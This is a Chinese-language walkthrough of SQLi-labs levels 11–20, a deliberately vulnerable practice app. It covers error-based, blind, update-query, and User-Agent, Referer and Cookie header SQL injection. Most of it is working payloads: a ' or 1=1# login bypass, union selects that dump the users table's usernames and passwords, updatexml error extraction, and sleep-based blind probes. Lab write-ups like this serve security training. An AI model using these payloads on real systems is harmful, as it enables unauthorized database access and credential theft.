目录
- Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)
- Less-12 POST - Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入)
- Less-13 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)
- Less 14 POST - Double Injection - Double Quotes-String (POST双引号字符型双注入)
- Less-15 POST - Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注)
- Less 16 POST - Blind - Boolian/time Based - Double quotes(基于bool型/时间延迟的双引号POST型盲注)
- Less-17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)
- Less-18 POST - Header Injection - Uagent field - Error based (基于头部的User-Agnet POST报错注入)
- Less-19 POST - Header Injection - Referer field - Error based (基于头部的Referer POST报错注入)
- Less-20 POST - Cookie injections - Uagent field - Error based (基于头部的cookie POST注入)
Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)
这里需要注意的一点是:
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
这里的源码的单引号闭合后,注入的一些SQL语句
必须要前面正确,后面的语句才能跟着执行,
而像union这种语句,不管前面的SQL语句正确与否,都可以执行,但是像 order by 1的SQL语句必须前面正确,然后order by 1才能执行,后面图片可以看到
GET传参会经过URL编码**
POST不会URL编码,比如注释符号:#的URL编码是 %23 ,但是POST并不会解析这个URL编码
POST注入—前后端使用post方法,在“框”中传递参数。表象如下图:
select * from user where username='a' or 1=1 #
表示查询a的字段,由于表里面没有,就会报错,但是后面跟的是或,就算前面不对,后面的1=1 成立了,一样表示对。
1.判断是否存在sql注入漏洞。数据能发现交互,说明存在注入
' or 1=1#
1.注释:
# 在url get注入中如果需要使用#注释需要进行url编码,只有Mysql数据库#是注释
建议使用:-- qwe
2.判断网页存在字段数。
1.post注入错误的获取字段数
a' order by 1 会显示账号密码错误
必须要前面正确,后面的语句才能跟着执行,
而像union这种语句,不管前面的SQL语句正确与否,都可以执行,但是像 order by 1的SQL语句必须前面正确,然后order by 1才能执行
2.正确的获取字段数如下
a' or 1=1 order by 1#
这里我们1,2都判断了,一直判断到3的时候报错,那么就说明这里有2个字段
' or 1=1 order by 2#
回显正确
' or 1=1 order by 3#
回显错误
3.判断回显点。
这里判回显点的时候,我们要把 or 1=1 去掉,不然数据库会以为 1=1 正确,然后直接执行,而忽略后面的联合查询
' union select 1,2#
4.获取信息。
1.获取当前数据库
' union select database(),version()#
2.获取当前数据库表名
1.group_concat(显示全部表名,但是显示的地方如果限制了数据输出的长度,那么无法显示完整)
' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
2.最好使用limit 0,1 依次获取
' union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1#
3.获取表的字段名
' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #
' union select 1,column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1#
4.获取字段值
' union select group_concat(username),group_concat(password) from users #
' union select username,password from users limit 0,1#
Less-12 POST - Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入)
和Less-11几乎一样,用")
闭合。
") or 1=1 #
Less-13 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)
闭合方式为')
,用万能密码登陆成功后,但是不显示内容,只能用盲注了,但是前面有报错,应该就可以使用报错型盲注。
') or 1=1#
1.获取数据库
') and updatexml(1,concat(0x7e, database()),1)#
2.获取表名
') and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)#
3.获取字段名
') and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1)),1)#
4.获取数据
') and updatexml(1,concat(0x7e,(select id from emails limit 0,1)),1)#
Less 14 POST - Double Injection - Double Quotes-String (POST双引号字符型双注入)
被题目骗了,闭合方式为"
,其它和Less-13都是一样的。
" or 1=1#
Less-15 POST - Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注)
' or 1=1#
闭合方式为'
,但是没有报错信息了,只能用盲注。
1' or length(database())=8 #
,OK和之前的是一样的,就不再试了
Less 16 POST - Blind - Boolian/time Based - Double quotes(基于bool型/时间延迟的双引号POST型盲注)
闭合方式为")
,又被题目骗了,这次用基于时间的注入。
1") or if(length(database())=8,sleep(5),1) #
,OK和之前的是一样的,就不再试了。
Less-17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)
在用户名后加字符只会显示下面的图片
在密码后加字符有报错,说明是以'
来进行闭合的
不论怎么尝试,只要用户名是正确的,都只有这张图,所以用报错注入,当然也可以使用时间盲注
1.获取当前数据库名
uname=admin&passwd=' or updatexml(1,concat(0x7e,database()),1)-- qwe&submit=Submit
2.获取表名
uname=admin&passwd=' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)-- qwe&submit=Submit
3.获取字段名
uname=admin&passwd=' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='emails' limit 0,1)),1)-- qwe &submit=Submit
4.获取数据
uname=admin&passwd=' or updatexml(1,concat(0x7e,(select id from emails limit 0,1)),1)-- qwe&submit=Submit
Less-18 POST - Header Injection - Uagent field - Error based (基于头部的User-Agnet POST报错注入)
测试后发现用户名和密码都没有注入点。。。
发现登陆成功后,会显示UA
http头的内容拿到insert 基于报错注入就ok
' and updatexml(1,concat(0x7e, database()),1) and '
Less-19 POST - Header Injection - Referer field - Error based (基于头部的Referer POST报错注入)
这次就是基于refer字段拼接到insert 和上一个一样的道理。
Less-20 POST - Cookie injections - Uagent field - Error based (基于头部的cookie POST注入)
和前面相似,成功登陆后会显示很多信息,新增了cookie
Cookie: uname=' union select 1,2,database()--+